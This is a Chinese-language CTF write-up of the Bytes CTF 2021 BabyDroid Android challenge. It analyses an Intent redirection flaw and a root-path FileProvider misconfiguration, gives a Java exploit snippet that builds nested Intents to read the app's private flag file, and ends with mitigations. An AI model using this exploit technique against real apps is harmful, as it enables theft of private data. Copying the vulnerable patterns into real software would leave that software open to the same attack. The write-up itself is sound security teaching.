Bytes CTF 2021 BabyDroid复现
字数 1333 2025-08-29 08:30:12
Bytes CTF 2021 BabyDroid漏洞分析与复现
漏洞概述
BabyDroid是一个Android应用程序,存在两个主要安全漏洞:
- Intent重定向漏洞:在Vulnerable Activity中,未经验证直接启动从Intent中获取的另一个Intent
- Grant Uri permission漏洞:通过FileProvider配置不当,结合Intent重定向可实现任意文件读取
漏洞组件分析
AndroidManifest.xml分析
应用包含以下主要组件:
- 两个Activity(其中Vulnerable Activity是导出的)
- 一个Receiver(FlagReceiver)
- 一个Provider(FileProvider)
关键配置:
<provider
android:name="androidx.core.content.FileProvider"
android:exported="false"
android:authorities="androidx.core.content.FileProvider"
android:grantUriPermissions="true">
<meta-data
android:name="android.support.FILE_PROVIDER_PATHS"
android:resource="@xml/file_paths"/>
</provider>
Vulnerable Activity分析
public class Vulnerable extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Intent intent = (Intent) getIntent().getParcelableExtra("intent");
startActivity(intent);
}
}
漏洞点:直接从Intent中获取并启动另一个Intent,未做任何验证,导致Intent重定向漏洞。
FlagReceiver分析
public class FlagReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
String flag = intent.getStringExtra("flag");
if (flag != null) {
File file = new File(context.getFilesDir(), "flag");
writeFile(file, flag);
Log.e("FlagReceiver", "received flag.");
}
}
// 文件写入方法省略...
}
功能:接收广播并将flag写入应用私有目录。
FileProvider配置
file_paths.xml配置:
<paths>
<root-path
name="root"
path=""/>
</paths>
危险配置:允许从根目录开始的文件访问,结合grantUriPermissions="true",可能导致任意文件读取。
攻击思路
- 利用Intent重定向:通过Vulnerable Activity转发我们构造的恶意Intent
- 结合FileProvider:在转发的Intent中设置
FLAG_GRANT_READ_URI_PERMISSION标志,获取目标应用私有文件的访问权限
关键步骤:
- 构造嵌套Intent,外层Intent用于启动Vulnerable Activity,内层Intent用于访问FileProvider
- 在内层Intent中设置URI指向目标文件(如flag文件)
- 通过Vulnerable Activity以目标应用身份启动我们的恶意Intent,获取文件访问权限
漏洞利用代码示例
// 构造内层Intent,用于访问FileProvider
Intent innerIntent = new Intent();
innerIntent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
innerIntent.setData(Uri.parse("content://androidx.core.content.FileProvider/root/data/data/com.bytectf.babydroid/files/flag"));
// 构造外层Intent,用于启动Vulnerable Activity并携带内层Intent
Intent outerIntent = new Intent();
outerIntent.setClassName("com.bytectf.babydroid", "com.bytectf.babydroid.Vulnerable");
outerIntent.putExtra("intent", innerIntent);
// 启动攻击
startActivity(outerIntent);
完整攻击流程
- 在目标设备上安装存在漏洞的应用(victim.apk)
- 使用root权限通过adb发送广播写入flag文件:
am broadcast -W -a com.bytectf.SET_FLAG -n com.bytectf.babydroid/.FlagReceiver -e flag flag{this_is_test_flag} - 安装攻击应用(attack.apk)并执行攻击代码
- 攻击应用将获取到flag文件内容
防御措施
-
避免Intent重定向:
- 不要直接启动从Intent中获取的另一个Intent
- 如果需要转发Intent,应明确验证目标组件是否允许被启动
-
安全配置FileProvider:
- 限制可访问的路径范围,避免使用
<root-path> - 仅在必要时设置
grantUriPermissions="true" - 为FileProvider使用自定义的authorities,避免使用通用名称
- 限制可访问的路径范围,避免使用
-
最小权限原则:
- 仅导出必要的组件
- 对导出的组件进行严格的输入验证
总结
BabyDroid漏洞展示了Android应用中两个常见问题的组合利用:
- 不安全的Intent处理导致的Intent重定向
- FileProvider配置不当导致的任意文件读取
通过这两个漏洞的组合,攻击者可以读取目标应用的私有文件,获取敏感信息。开发者应重视组件安全配置和Intent处理的安全性。